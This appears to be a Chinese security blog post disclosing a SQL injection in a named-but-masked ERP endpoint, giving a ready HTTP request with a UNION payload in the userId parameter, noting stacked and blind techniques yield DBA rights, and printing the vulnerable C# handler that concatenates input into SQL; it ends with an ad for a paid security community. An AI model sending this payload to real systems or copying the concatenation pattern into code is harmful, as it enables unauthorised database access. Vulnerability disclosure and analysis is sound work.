.NET 漏洞分析 | 某ERP系统存在SQL注入

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02漏洞背景

某邦一体化ERP将企业物流、资金流、信息流等所有资源整合在一起,对销售、采购、生产、成本、库存、分销、运输、财务、人力资源进行规划,在一套系统内解决企业所有的管理问题,数据实时共享,全程监控各个环节的运转和协作,让企业最大限度利用现有资源取得最佳经济效益。国际是一体化ERP十大品牌,专注于企业数智化转型20多年,一体化ERP全面产品线,该ERP GetPersonalSealData.ashx接口存在SQL注入漏洞。

03漏洞复现

近日外部渠爆出该系统存在SQL漏洞,参数userId存在SQL注入漏洞,具体的数据包如下

复制代码
GET /SYSN/json/pcclient/GetPersonal****.ashx?imageDate=1&userId=-2%20union%20select%20@@version-- HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: *
Connection: Keep-Alive

该注入点支持使用多种注入技术进行测试,包括布尔盲注、堆叠查询、基于时间的盲注和 UNION 查询。如下图所示。

堆叠查询使用 DECLARE 和 WAITFOR DELAY 语句,测试注入点是否可以执行多个SQL查询,返回后台数据库版本是 Microsoft SQL Server 2008,并且当前用户具有 DBA(数据库管理员)权限。

04漏洞分析

GetPersonal****.ashx 文件中存在不安全的 SQL 查询处理,会直接将传入的 userId 参数拼接到 SQL 查询字符串中,从而导致 SQL 注入漏洞。具体代码如下所示。

复制代码
using System;
using System.Data;
using System.Data.SqlClient;
using System.Web;

public class GetPersonalSealData : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        // 获取请求参数
        string imageDate = context.Request.QueryString["imageDate"];
        string userId = context.Request.QueryString["userId"];
        string query = "SELECT * FROM PersonalSealData WHERE ImageDate = @imageDate AND UserId = " + userId;
    }
    public bool IsReusable
    {
        get { return false; }
    }
}

从 QueryString 中获取 imageDate 和 userId 参数,使用字符串拼接构建 SQL 查询,直接将 userId 参数包含在查询字符串中,导致 SQL 注入漏洞。

05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

相关推荐
计算机安禾6 分钟前
【计算机网络】第6篇:虚拟局域网——基于标签的广播域划分及其安全边界
计算机网络·安全·php
唐青枫24 分钟前
别只会用 MemoryCache!C#.NET CacheManager 详解:多级缓存、Region 与 Redis 实战
c#·.net
Lyyaoo.39 分钟前
Redisson
数据库·缓存
网络工程小王1 小时前
【LCEL 链式调用详解】调用篇-2
java·服务器·前端·数据库·人工智能
道法自然,人法天2 小时前
PostgreSQL安装与初始化教程(二进制压缩包)
数据库·postgresql
yzs872 小时前
从Hydra到storage_engine:PostgreSQL列存引擎的性能跃迁与技术进化
数据库·postgresql
红云梦2 小时前
官方 Anthropic Postgres MCP Server 存在 SQL 注入漏洞 -- SafeDB 是如何做到 4 层防御的
数据库·sql
TDengine (老段)2 小时前
红有软件重构智能油田时序数据底座,支撑生产实时感知与设备预测性维护
大数据·数据库·人工智能·重构·时序数据库·tdengine
FeelTouch Labs2 小时前
开源安全治理体系建设
安全·开源
倒霉蛋小马2 小时前
【Redis】什么是缓存击穿?
数据库·redis·缓存